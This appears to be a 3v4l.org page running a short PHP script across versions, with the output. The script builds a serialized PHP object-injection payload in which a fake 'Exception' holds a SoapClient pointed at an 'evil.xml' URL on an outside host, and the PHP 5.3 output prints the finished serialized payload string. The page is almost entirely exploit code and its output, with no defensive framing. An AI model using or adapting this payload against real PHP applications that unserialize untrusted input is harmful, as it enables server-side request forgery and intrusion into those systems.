3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class Exc3pt10n { private $previous; function __construct() { $this->previous = new SoapClient(null, array('uri' => '', 'location' => 'http://karmainsecurity.com/evil.xml')); } } print(str_replace('Exc3pt10n', 'Exception', serialize(array('test' => new Exc3pt10n))));
Output for 7.0.0 - 7.2.0
Fatal error: Uncaught Error: Class 'SoapClient' not found in /in/rjLm0:9 Stack trace: #0 /in/rjLm0(13): Exc3pt10n->__construct() #1 {main} thrown in /in/rjLm0 on line 9
Process exited with code 255.
Output for 5.4.2 - 5.6.28
Fatal error: Class 'SoapClient' not found in /in/rjLm0 on line 9
Process exited with code 255.
Output for 5.3.18 - 5.3.29
a:1:{s:4:"test";O:9:"Exception":1:{s:19:"Exceptionprevious";O:10:"SoapClient":3:{s:3:"uri";s:0:"";s:8:"location";s:35:"http://karmainsecurity.com/evil.xml";s:13:"_soap_version";i:1;}}}